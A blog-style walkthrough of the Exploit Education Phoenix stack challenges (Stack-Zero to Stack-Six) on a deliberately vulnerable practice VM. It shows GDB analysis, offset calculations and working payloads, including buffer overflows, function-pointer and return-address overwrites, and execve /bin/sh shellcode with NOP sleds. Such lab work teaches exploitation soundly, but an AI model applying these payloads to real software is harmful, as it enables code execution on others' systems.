Phoenix:

Phoenix is the first part of the binary exploitation learning series by Exploit Education.


Getting Started

You can download the Phoenix challenge files from the official page:

exploit.education/downloads

⚠️ At the time of writing, the prebuilt repo wasn’t available. So, I built the VM manually using QEMU — and I’ll show you how to do the same!


For Windows Users

1. Download the Image

2. Extract & Navigate

unzip phoenix-amd64.zip
cd phoenix-amd64/

3. Install QEMU

QEMU is required to emulate the VM. For best compatibility, run it through WSL (Windows Subsystem for Linux).

Install QEMU (on WSL):

sudo apt update && sudo apt install qemu-system-x86

4. Launch the VM

Run the following from the extracted image directory:

qemu-system-x86_64 \
  -m 512M \
  -kernel ./vmlinuz-4.9.0-8-amd64 \
  -initrd ./initrd.img-4.9.0-8-amd64 \
  -hda ./exploit-education-phoenix-amd64.qcow2 \
  -append "root=/dev/sda1 console=ttyS0" \
  -nographic

Default Credentials

Username user
Passowrd user

Accessing the Challenges

Once logged in:

cd /opt/phoenix/amd64

Replace amd64 with your architecture if you’re using a different one.


You’re In!

If everything worked, your terminal (via WSL) should show a login prompt and boot into the Phoenix VM. From here, you can start working on the binary exploitation challenges.

Pro Tip: Use tmux or split terminals to keep debugger sessions, source code, and shell access visible at the same time.


Stack-Zero

Challenge: Phoenix/Stack-Zero

Goal: Overflow the buffer and change the value of the changeme variable.


Starting the Challenge

cd /opt/phoenix/amd64
./stack-zero

We see the following:

intro

It’s waiting for input — but it complains that 'changeme' has not yet been changed.


Initial Hypothesis

My noob experience says that we have to change env variable changeme address or smth, I will avoid looking at source code — let’s f around.


GDB Setup and Disassembly

Spun up GDB and dumped the disassembly of main:

disassemble

This is the disassembled version. After setting a breakpoint at main and stepping through instructions, I understood the control flow. It looks something like:

control flow


Observing Behavior

From the disassembly, the goal is to bypass this check and reach the uncalled puts() that prints the success message.

To test this, I patched the binary to skip the conditional jump using EFLAGS:

poc

Boom! Got the success message:

Well done, the ‘changeme’ variable has been changed!


Deeper Static Analysis

Reading the assembly slowly, we find three important stack variables:

Out of these, rbp-0x10 seems like the flag changeme due to the following logic:

mov DWORD PTR [rbp-0x10], 0x0     ; initialize changeme = 0
...
call gets                         ; read input into buffer
mov eax, DWORD PTR [rbp-0x10]     ; load changeme
test eax, eax                     ; check if zero
je 0x40061c                       ; jump to fail if changeme == 0

So, changeme is at rbp-0x10 and the input buffer is at rbp-0x50.

Key Insight:

To overflow changeme, we need to write past the buffer:

0x50 - 0x10 = 0x40 = 64 bytes

calculate


The Exploit

Let’s test a buffer with 65 characters to overwrite the 64-byte buffer and flip changeme.

./stack-zero
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Result:

success

Success! We changed the changeme variable with a simple overflow.


Summary

Component Address Role
changeme rbp-0x10 Flag we must set
input rbp-0x50 64-byte buffer
gets() Vulnerable No bounds check

Exploit Strategy:


Takeaways


Elongated Image Elongated Image Elongated Image

Stack-One

Challenge: Phoenix/Stack-One

Goal: Overflow the buffer and set the correct value in a target variable to trigger the success path.


Starting the Challenge

cd /opt/phoenix/amd64
./stack-one

intro.png

Hmm… Lets make this challenge a little interesting, ready? Evil smirks**

Strips the binary and spuns gdb—

cp /tmp/my-one stack-zero
strip /tmp/my-one

Analysis

gdb -nx /tmp/my-one

strip

info files

info

This gives us the entry point — e.g., 0x400500. We dump 100 instructions:

x/100i 0x400500

disass

We see that __libc_start_main@plt is called and %edi is loaded with some value before that — that value is our real main() address (System V ABI).


Locating main()

Let’s jump to the function in %edi, e.g., 0x40066d:

x/40i 0x40066d

We now have the disassembly of the real main function.


Disassembly Observations

Key lines:

=> 0x40066d:    push   rbp
   0x40066e:    mov    rbp,rsp
   0x400671:    sub    rsp,0x60
   0x400675:    mov    DWORD PTR [rbp-0x54],edi
   0x400678:    mov    QWORD PTR [rbp-0x60],rsi
   0x40067c:    mov    edi,0x400750
   0x400681:    call   0x4004c0 <puts@plt>
   0x400686:    cmp    DWORD PTR [rbp-0x54],0x1
   0x40068a:    jg     0x4006a0
   0x40068c:    mov    esi,0x4007a0
   0x400691:    mov    edi,0x1
   0x400696:    mov    eax,0x0
   0x40069b:    call   0x4004d0 <errx@plt>
   0x4006a0:    mov    DWORD PTR [rbp-0x10],0x0
   0x4006a7:    mov    rax,QWORD PTR [rbp-0x60]
   0x4006ab:    add    rax,0x8
   0x4006af:    mov    rdx,QWORD PTR [rax]
   0x4006b2:    lea    rax,[rbp-0x50]
   0x4006b6:    mov    rsi,rdx
   0x4006b9:    mov    rdi,rax
   0x4006bc:    call   0x4004a0 <strcpy@plt>
   0x4006c1:    mov    eax,DWORD PTR [rbp-0x10]
   0x4006c4:    cmp    eax,0x496c5962
   0x4006c9:    jne    0x4006d7
   0x4006cb:    mov    edi,0x4007d8
   0x4006d0:    call   0x4004c0 <puts@plt>
   0x4006d5:    jmp    0x4006eb
   0x4006d7:    mov    eax,DWORD PTR [rbp-0x10]
   0x4006da:    mov    esi,eax
   0x4006dc:    mov    edi,0x400820
   0x4006e1:    mov    eax,0x0
   0x4006e6:    call   0x4004b0 <printf@plt>
   0x4006eb:    mov    edi,0x0
   0x4006f0:    call   0x4004e0 <exit@plt>

By observing the above assembly we could determine the control flow:

control


Stack Variables

From the layout:

Variable Offset Notes
argc rbp-0x54 from %edi
argv rbp-0x60 from %rsi
buffer rbp-0x50 gets argv[1] via strcpy()
changeme rbp-0x10 compared against 0x496c5962

Exploitation Plan

We need to overwrite (rbp-0x10) with 0x496c5962.

Given:

0x50 - 0x10 = 0x40 = 64 bytes

This means:


Exploit

./stack-one $(python3 -c 'print("A"*64 + "\x62\x59\x6c\x49")')

Why this works:


Result

success

We have correctly set the correct value in a target variable!


Summary

Component Offset Role
changeme rbp-0x10 Flag value to override
buffer rbp-0x50 Target of strcpy()
Overflow size 64 + 4 64-byte buffer + 4 bytes

Key Takeaways


Elongated Image Elongated Image Elongated Image

Stack-Two

Challenge: Phoenix/Stack-Two

Goal: Overflow the stack-based buffer and set the correct value via an environment variable.


input

Initial Observations

We spin up GDB and:

gdb

Okay wow — before I could strip the binary, it did it itself… (partially).

disassemble main

assembly

No peeking at source again — I’ll try to trace and build a control flow map manually.


Control Flow & Parameters

controlflow

We can immediately observe use of argc/argv and a call to getenv() — a standard C library function for retrieving environment variables.

getenv() Overview:

char *getenv(const char *name);

From this:

0x4006c6: mov edi, 0x4007da         ; "ExploitEducation"
0x4006cb: call getenv
0x4006d0: mov [rbp-0x8], rax
0x4006d4: cmp [rbp-0x8], 0x0
0x4006d9: jne 0x4006ef              ; if NULL, die

So, if getenv() returns NULL (i.e., the env variable is missing), we hit an errx() call:

stack-two: please set the ExploitEducation environment variable

and futhermore,

getenv’s arguemnent must be string so lets check string stored in 0x4007da (edi)

Exploitedu


Exploiting the Buffer

Eventually we hit:

0x4006fa: lea rax, [rbp-0x50]
0x4006fe: mov rsi, rdx
0x400701: mov rdi, rax
0x400704: call strcpy

Which copies the env value (from rdx) to our local buffer at rbp-0x50.

Then the same old pattern appears again:

0x4006ef: mov DWORD PTR [rbp-0x10], 0x0        ; changeme = 0
...
0x400709: mov eax, DWORD PTR [rbp-0x10]
0x40070c: cmp eax, 0xd0a090a

We need to overflow from rbp-0x50 (input buffer) to rbp-0x10 (target changeme), just like previous challenges.


Gotcha:

The input is not taken directly from argv, but from the env variable named "ExploitEducation".


Calculating the Offset

Same math:

0x50 - 0x10 = 0x40 = 64 bytes

Little endian again — we’ll write the target value in reverse byte order.

\x0a\x09\x0a\x0d  -->  0xd0a090a

The Payload

You can do this two ways:

Terminal One-Liner:

ExploitEducation=$(python3 -c 'print("A"*64 + "\x0a\x09\x0a\x0d")') ./stack-two

Python Script (cleaner for automation):

import os

env = os.environ.copy()
env["ExploitEducation"] = b"A"*64 + b"\x0a\x09\x0a\x0d"

binary = "./stack-two"
argv = [binary.encode()]

os.execve(binary, argv, env)

Result

result

Well done, you have successfully set changeme to the correct value.

Successful overflow via environment variable!


Summary

Component Value Role
changeme rbp-0x10 Value we need to control
Buffer rbp-0x50 64 bytes, copied from env
Env var “ExploitEducation” getenv()

Takeaways


Elongated Image Elongated Image Elongated Image

Stack Three

Challenge: Phoenix/Stack-Three

Goal: This challenge revolves around overwriting a function pointer to redirect execution. Let’s dive into the reverse engineering steps without looking at the source.


Disassembly + Control Flow

hello

Okay, interesting some function pointer it says,

The binary is dynamically linked and partially stripped,

disasss


Desiging control flow,

control flow -<!adddd image!!!!!!!!!!>–

I’m observing few things here, as always we have our argc and argv set up, further

Main function disassembly (key region):

0x4006b5 <+0>:   push   rbp
0x4006b6 <+1>:   mov    rbp,rsp
...
0x4006df <+42>:  call   0x4004e0 <gets@plt>
0x4006e4 <+47>:  mov    rax,QWORD PTR [rbp-0x10]
0x4006e8 <+51>:  test   rax,rax
0x4006eb <+54>:  je     0x400720 <main+109>
...
0x40070c <+87>:  mov    rdi,rax
0x40070f <+90>:  call   0x4004d0 <fflush@plt>

gets() writes input into [rbp-0x50], and then a pointer at [rbp-0x10] is tested and later called if not null which leads to fflush(stdout) path and if je is statisfied we are led to exit.

Some context: (gdb) x/s 0x400848 0x400848: “function pointer remains unmodified :~( better luck next time!” (gdb) x/s 0x400828 0x400828: “calling function pointer @ %p\n”

here the if our rax is not equal to null, its leading down path of checking some function pointer, okay!

Interpretation

I was confused a bit here, regarding what function pointer, the file struct buffer whatever at [rip+0x200418] (its stdout mapped in libc.so) is getting fflushed.

its likely that rbp-0x10 must have some function pointer,

0x00000000004006e9 <+52>: je 0x40071d <main+104> 0x00000000004006eb <+54>: mov rax,QWORD PTR [rbp-0x10] 0x00000000004006ef <+58>: mov rsi,rax

i spend some time here, did a nm and found some sus function

$ nm ./stack-three
0000000000600958 d _DYNAMIC
0000000000600ac8 d _GLOBAL_OFFSET_TABLE_
0000000000600940 d __CTOR_END__
0000000000600938 d __CTOR_LIST__
0000000000600950 D __DTOR_END__
0000000000600948 d __DTOR_LIST__
00000000004008f0 r __EH_FRAME_BEGIN__
0000000000400930 r __FRAME_END__
0000000000400888 r __GNU_EH_FRAME_HDR
0000000000600b18 D __TMC_END__
0000000000600b18 B __bss_start
0000000000400740 t __do_global_ctors_aux
00000000004005e0 t __do_global_dtors_aux
0000000000600b10 D __dso_handle
                 U __libc_start_main
0000000000600b18 D _edata
0000000000600b90 B _end
0000000000400782 T _fini
00000000004004b0 T _init
0000000000400530 T _start
0000000000400546 T _start_c
000000000040069d T complete_level
0000000000600b40 b completed.5577
0000000000400570 t deregister_tm_clones
0000000000600b48 b dtor_idx.5579
                 U exit
                 U fflush
0000000000400670 t frame_dummy
                 U gets
00000000004006b5 T main
0000000000600b60 b object.5589
                 U printf
                 U puts
00000000004005a0 t register_tm_clones
0000000000600b20 B stdout

complete_level looks quite promising cause its marked as T meaning it resides in .text section.


Goal

Hijack the function pointer at [rbp-0x10] with the address of a valid function, likely complete_level?:

function info complete_level

complete-level

we are very close now:)

(gdb) x/s 0x400790
0x400790: "Congratulations, you've finished phoenix/stack-three :-) Well done!"

Exploitation Strategy

We need to overflow the buffer and inject the address of complete_level into [rbp-0x10].

Offset Calculation

From buffer [rbp-0x50] to target [rbp-0x10]:

rbp-0x10 - rbp-0x50 = 0x40 = 64 bytes

So, to reach [rbp-0x10], we overflow with 64 bytes, then write 8 more bits to overwrite the function pointer.


Final Payload Structure

(python3 -c "import sys; sys.stdout.buffer.write(b'A'*64 + b'\x9d\x06\x40\x00\x00\x00\x00\x00')") > /tmp/payload
./stack-three < /tmp/payload

Outcome

With the payload in place, the binary prints:

output

Congratulations, you've finished phoenix/stack-three :-) Well done!

Final Thoughts

This is a textbook function pointer overwrite using a stack buffer overflow. Key takeaways:


Elongated Image Elongated Image Elongated Image

Stack-four

Challenge: Phoenix/Stack-Four

Goal: Overwrite the return address from start_level() to jump directly to complete_level().


Initial Recon

intro1

Okay very interesting, i will immediately do nm now instead of hitting around the bush

nm ./stack-four
0000000000600890 d _DYNAMIC
00000000006009d0 d _GLOBAL_OFFSET_TABLE_
0000000000600878 d __CTOR_END__
0000000000600870 d __CTOR_LIST__
0000000000600888 D __DTOR_END__
0000000000600880 d __DTOR_LIST__
0000000000400808 r __EH_FRAME_BEGIN__
0000000000400868 r __FRAME_END__
000000000040079c r __GNU_EH_FRAME_HDR
0000000000600a18 D __TMC_END__
0000000000600a18 B __bss_start
00000000004006a0 t __do_global_ctors_aux
0000000000400560 t __do_global_dtors_aux
0000000000600a10 D __dso_handle
                 U __libc_start_main
0000000000600a18 D _edata
0000000000600a70 B _end
00000000004006e2 T _fini
0000000000400438 T _init
00000000004004b0 T _start
00000000004004c6 T _start_c
000000000040061d T complete_level
0000000000600a20 b completed.5577
00000000004004f0 t deregister_tm_clones
0000000000600a28 b dtor_idx.5579
                 U exit
00000000004005f0 t frame_dummy
                 U gets
000000000040066a T main
0000000000600a40 b object.5589
                 U printf
                 U puts
0000000000400520 t register_tm_clones
0000000000400635 T start_level

Spotted two functions of interest:


🔧 Disassembly Insight

start_level (Simplified)

start_level:
  ...
  lea    -0x50(%rbp), %rax     ; buffer for gets
  mov    %rax, %rdi
  call   gets
  mov    0x8(%rbp), %rax       ; return addr?
  mov    %rax, -0x8(%rbp)
  mov    -0x8(%rbp), %rax
  mov    %rax, %rsi            ; printf argument
  ...
  call   printf

complete_level

complete_level:
  puts("Congratulations, you've finished phoenix/stack-four :-)")
  exit(0)

This is our target.


Key Observation

Despite the obfuscation with mov 0x8(%rbp) → -0x8(%rbp) → rsi, all that’s just fluff.

The real vulnerability is from:

lea -0x50(%rbp), %rax
mov %rax, %rdi
call gets

So gets() writes to buffer at rbp - 0x50.

To overwrite the return address, we calculate offset from rbp - 0x50 up to saved RIP.

Return address is saved at rbp + 0x8.

Hence:

padding = 0x50 + 0x8 = 88 bytes

Final Payload

payload = b"A" * 88 + p64(0x40061d)  # Address of complete_level

Success Output

When executed correctly:

success

Congratulations, you've finished phoenix/stack-four :-) Well done!

Summary Table

Component Value
Buffer start rbp - 0x50
Return address rbp + 0x8
Total offset 88 bytes
Target address complete_level() = 0x40061d
Function call gets()
Exploit type Stack buffer overflow (saved RIP overwrite)


Stack-Five

Challenge: Phoenix/Stack-Five

Goal: The objective is to exploit a buffer overflow vulnerability by injecting shellcode and gaining control of the instruction pointer (RIP) to jump to that shellcode.


Observations and Setup

intro

Hm, this time no hints

Running the binary inside GDB, I saw:

(gdb) x/10i 0x4005a4  => main
   0x4005a4:    push   %rbp
   0x4005a5:    mov    %rsp,%rbp
   0x4005a8:    sub    $0x10,%rsp
   0x4005ac:    mov    %edi,-0x4(%rbp)
   0x4005af:    mov    %rsi,-0x10(%rbp)
   0x4005b3:    mov    $0x400620,%edi
   0x4005b8:    callq  0x400400 <puts@plt>
   0x4005bd:    mov    $0x0,%eax
   0x4005c2:    callq  0x40058d
   0x4005c7:    mov    $0x0,%eax

0x40058d is clearly the start_level

(gdb) x/9i 0x40058d
   0x40058d:    push   rbp
   0x40058e:    mov    rbp,rsp
   0x400591:    add    rsp,0xffffffffffffff80
   0x400595:    lea    rax,[rbp-0x80]
   0x400599:    mov    rdi,rax
   0x40059c:    call   0x4003f0 <gets@plt>
   0x4005a1:    nop
   0x4005a2:    leave
   0x4005a3:    ret

The main calls start_level and start_level is literally this

(gdb) x/10i 0x40058d
   0x40058d:    push   rbp
   0x40058e:    mov    rbp,rsp
   0x400591:    add    rsp,0xffffffffffffff80
   0x400595:    lea    rax,[rbp-0x80]
   0x400599:    mov    rdi,rax
   0x40059c:    call   0x4003f0 <gets@plt>
   0x4005a1:    nop
   0x4005a2:    leave
   0x4005a3:    ret

Now you may ask: “How can we spawn a shell using execve()?” Well, the goal isn’t just popping a shell — it’s understanding the environment we’re exploiting.

Let’s start with basics.

Running:

checksec ./stack-five

…shows us everything is disabled — even ASLR.

What does that mean?

To us — exploit developers — it means we’re in a very favorable environment:

This is a dream setup for beginners. In this environment, we don’t need to bypass randomization or memory protection. We just need to control RIP, and inject+execute shellcode.


Understanding the Shellcode Context

We aren’t given a function to jump to (like complete_level() in earlier stack challenges). Instead, we’re expected to manually craft shellcode to spawn a shell.

On Linux, the execve() syscall is the canonical way to run a program — in this case, /bin/sh. Its function signature is:

int execve(const char *pathname, char *const argv[], char *const envp[]);

For shell-spawning purposes, it’s common to use minimal parameters:

So all we need is to:

  1. Load the string "/bin/sh" into memory
  2. Pass its pointer into rdi
  3. Set rsi = 0, rdx = 0
  4. Set rax = 59 (the syscall number for execve)
  5. Trigger syscall

This is typically done with around 23–28 bytes of shellcode in x86_64.


Why Inject Shellcode? (Theory Behind Step 3)

Before we inject the shellcode, let’s quickly talk about how execve() works and why we don’t need to call it directly via libc.

#include <unistd.h>

int execve(const char *pathname, char *const argv[], char *const envp[]);

Yes, we could search for the actual address of execve in memory — use something like p execve in GDB or recursively grep libc symbols. But we don’t have to.

Why? Because it’s far easier to inject a handcrafted shellcode that invokes execve("/bin/sh", NULL, NULL) directly via syscall, rather than relying on external libraries.

This is often called Heaven’s Gate in the binary exploitation world — a moment where protections are conveniently low and custom shellcode just works.

There are other ways to inject shellcode too — into heap, .data, environment variables, or even via return-to-libc — but those require more precise address prediction and can become complicated fuzzing challenges.

💡 Why Use the Stack?

We inject into the stack because:

But, isn’t the stack non-executable?

Yes — on modern systems, NX (Non-eXecutable) bit makes stack execution illegal.

Luckily, in this challenge, NX is disabled — making it a perfect candidate for raw shellcode execution.


Let’s now move forward and inject it! ↓


Python Exploit Code

print(128 * b'A')
python3 /tmp/payload.py > /tmp/payload
(gdb) break start_level
Breakpoint 1 at 0x400591

(gdb) run < /tmp/payload
Starting program: /opt/phoenix/amd64/stack-five < /tmp/payload
Welcome to phoenix/stack-five, brought to you by https://exploit.education

Breakpoint 1, 0x0000000000400591 in start_level ()
(gdb)

gdb1

Here we can see the script filled rbp-0x80 as rsp is downward in stack and rbp is up in the stack:

Rbp
…
…
Rbp-0x80
Rsp

We have filled 128 times ‘A’, so we can see nothing is really overflowed. Let’s add:

print((128 + 8) * b'A')

gdb2

We are hitting a crucial point—I’m estimating 128 + 6 = 134 buffer from rbp-0x80 to rbp.

We can confirm this as we are overflowing the rbp too by 134 bytes:

0x0000000000274242 in ?? ()
(gdb) info register
rax            0x7fffffffebe0      140737488350176
rbx            0x7fffffffecd8      140737488350424
rcx            0x8080808080808080  -9187201950435737472
rdx            0x7fffffffec3f      140737488350271
rsi            0xfefefefefefefeff  -72340172838076673
rdi            0x7fffffffec6c      140737488350316
rbp            0x4242424242424141  0x4242424242424141
rsp            0x7fffffffec70      0x7fffffffec70
r8             0x7fffffffebe0      140737488350176
r9             0xa0a0a0a0a0a0a0a   723401728380766730
r10            0x8080808080808080  -9187201950435737472
r11            0x4                 4
r12            0x7fffffffece8      140737488350440
r13            0x4005a4            4195748
r14            0x0                 0
r15            0x0                 0
rip            0x274242            0x274242
eflags         0x202               [ IF ]

We can say we are controlling the rip.

The start of our address is at rbp-0x80:

(gdb) x/8x $rbp-0x80
0x7fffffffebe0: 0x41414141      0x41414141      0x00400000      0x00000000
0x7fffffffebf0: 0x004005a4      0x00000000      0x00000000      0x00000000

Okay, we have following information:

Let’s do what we were supposed to do—controlling our stack and making our shellcode executable.

Like I said, we can control our rip, and we also know where our buffer starts (rbp-0x80 i.e 0x7fffffffebe0) so by 136 bytes + address we want to pivot (i.e 0x7fffffffebe0) we can break the rip.

script.py:

import sys
import struct
addr = struct.pack("<Q", 0x7fffffffebe0)
sys.stdout.buffer.write(136 * b"A" + addr)

This should work.


(gdb) ni
0x0000000000400595 in start_level ()
(gdb)
0x0000000000400599 in start_level ()
(gdb)
0x000000000040059c in start_level ()
(gdb)
0x00000000004005a1 in start_level ()
(gdb)
0x00000000004005a2 in start_level ()
(gdb)
0x00000000004005a3 in start_level ()
(gdb)
0x00007fffffffebe0 in ?? ()

Fine, next is we wanna make sure whatever shellcode we insert works. Instead of directly placing shellcode, we must put some debugging opcode like suggested \xCC.

\xCC is like signal sent to hardware to pause the execution and and set a trap called SIGTRAP.

SIG TRAP


Shellcode Formation

Okay nicee! Let’s actually make a shellcode now. You can refer to my in-depth writeup on shellcode_ATTENTION_.

Here’s the assembly:

BITS 64
global _start

section .text
_start:
    xor     rax, rax               ; Clear RAX
    mov     rbx, 0x68732f2f6e69622f ; "/bin//sh" string
    push    rbx                    ; Push to stack
    mov     rdi, rsp               ; Set RDI to pointer to "/bin/sh"
    xor     rsi, rsi               ; NULL RSI
    xor     rdx, rdx               ; NULL RDX
    mov     al, 59                 ; syscall number for execve
    syscall                        ; invoke syscall

For this you’ll need nasm and ld. Phoenix is old Debian — so you may need to update and install NASM first:

nasm -f elf64 /tmp/shellcode.asm -o /tmp/shellcode.o
ld /tmp/shellcode.o -o /tmp/shellcode

Dumping Shellcode

objdump -d /tmp/shellcode | grep '[0-9a-f]:' | \
  cut -f2- -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | \
  sed 's/ $//' | sed 's/ /\\x/g' | sed 's/^/"/' | sed 's/$/"/'

This gives:

"\x48\x31\xc0"
"\x48\xbb\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00"
"\x53"
"\x48\x89\xe7"
"\x48\x31\xf6"
"\x48\x31\xd2"
"\xb0\x3b"
"\x0f\x05"

Python Payload Builder

import sys
import struct
addr = struct.pack("<Q", 0x7fffffffebe0)  # address to jump to
shellcode = (
    b"\x48\x31\xc0"
    b"\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
    b"\x53"
    b"\x48\x89\xe7"
    b"\x48\x31\xf6"
    b"\x48\x31\xd2"
    b"\xb0\x3b"
    b"\x0f\x05"
)
length = 136 - len(shellcode)
sys.stdout.buffer.write(shellcode + length * b'A' + addr)

With NOP sled

import sys
import struct
addr = struct.pack("<Q", 0x7fffffffebe0)
shellcode = 54 * b"\x90"  # NOP sled
shellcode += (
    b"\x48\x31\xc0"
    b"\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
    b"\x53"
    b"\x48\x89\xe7"
    b"\x48\x31\xf6"
    b"\x48\x31\xd2"
    b"\xb0\x3b"
    b"\x0f\x05"
)
length = 136 - len(shellcode)
sys.stdout.buffer.write(shellcode + length * b'A' + addr)

Your NOPs depend on how close your return address is to shellcode. You might be so accurate you don’t need any at all.

bin/dash

As you can see, we happily sled through our NOPs and hit the /bin/sh shell. 🎯

Frustration Point

Here’s where it got messy. I initially used the exact address where the buffer began (rbp - 0x80, like 0x7fffffffebe0), but the payload only worked inside GDB — not when run normally. Outside GDB, it failed.

Eventually, I realized that GDB’s environment and memory layout slightly shift things.

Fix: Using a NOP Sled and Address Adjustment

I simply added 0x80 bytes worth of a NOP sled and jumped to an address 0x80 higher than ebe0, i.e., 0x7fffffffec60 — and it worked outside GDB.

This wasn’t luck — it was trial and a lot of error.

You need to spend some time guessing and debugging through it, check your ip and sp guess it add more padding increase or decrease your nops.


Insight: Why Environment Affects Address

GDB, terminal size (LINES, COLUMNS), and other variables shift the stack. This causes the buffer address to vary slightly. To avoid this:

env -i ./stack-five < payload

This runs the binary in a clean environment. But even then, it might differ.

Pro Tip:

Use a NOP sled and jump near the middle or end of the buffer.

Attack:

Presenting you the devil itself:

import sys
import struct
addr = struct.pack("<Q", 0x7fffffffec60)  #its originally 0x7fffffffebe0 + 80
shellcode = 56 * b"\x90"
shellcode += (
    b"\x48\x31\xc0"
    b"\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
    b"\x53"
    b"\x48\x89\xe7"
    b"\x48\x31\xf6"
    b"\x48\x31\xd2"
    b"\xb0\x3b"
    b"\x0f\x05"
)
length = 136 - len(shellcode)
sys.stdout.buffer.write(shellcode+length*b'A'+addr)

The offset + 80 is through lots of trial and error outside the gdb environment, the gdb environment may not let you run this payload w/o errors because its different in gdb there must be smth different going on in that address and heres its different.

done

We have successfully overflowed the buffer and ran our shellcode!


Summary Table

Item Address/Offset Notes
Buffer start rbp - 0x80 Where shellcode is injected
RIP overwrite +136 bytes From buffer start
Working shellcode addr 0x7fffffffec60 Offset due to NOP sled
Shellcode length ~56 bytes Custom shellcode for /bin/sh

Final Takeaways


Elongated Image Elongated Image Elongated Image

Stack-Six:


Challenge: Phoenix/Stack-Five

Goal: Exploit a buffer overflow by injecting shellcode and abusing an off-by-one overwrite of the saved base pointer (RBP) to redirect execution into controlled data.


Setup & Initial Observations

intro

Disassembling main reveals a critical dependency on an environment variable:

0x4007b4 <+25>:  mov edi,0x4008c2   ; "ExploitEducation"
0x4007b9 <+30>:  call getenv@plt
0x4007d8 <+61>:  call errx@plt      ; exits if unset

So, we must define:

export ExploitEducation=...

The greet Function

Key flow:

; buffer at rbp-0xa0 (168 bytes)
strcpy(buffer, "Welcome, I am pleased to meet you ")
strncpy(buffer+34, env, ...)
strdup(buffer)

Environment Stabilization in GDB

Address space kept shifting (even with ASLR/PIE disabled) due to environment noise. To stabilize:

unset env LINES
unset env COLUMNS
unset env TERM
unset env _
unset env OLDPWD
unset env SHLVL

Add to .gdbinit for consistency.


Locating Input in Memory

Input appears at:

0x7fffffffef10: "AAAA..."

By setting the low byte of saved RBP → 0x20, execution redirects into this buffer region.

export ExploitEducation=$(python3 -c 'print("A"*126 + "\x20")')

Confirmed with memory inspection:

mem


Exploit Development

First test: insert 0xCC (INT3) to confirm control.

export ExploitEducation=$(python3 -c 'print("A"*120 + "\xcc" + "\x20")')

Hit breakpoint as expected:

cc


Shellcode Injection

Payload layout (127 bytes total):

python3 -c 'import sys; sys.stdout.buffer.write(
    b"\x90" * 96 +
    b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
    b"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6"
    b"\xb0\x3b\x0f\x05" +
    b"\x20"
)' > /tmp/shellcode.bin

export ExploitEducation="$(cat /tmp/shellcode.bin)"

Execution successfully redirected into shellcode:

success


Final Notes

done

Stack-Six complete — closing out the Phoenix: Stack series from Exploit Education (props to Andrew for building such a great playground).

Elongated Image Elongated Image Elongated Image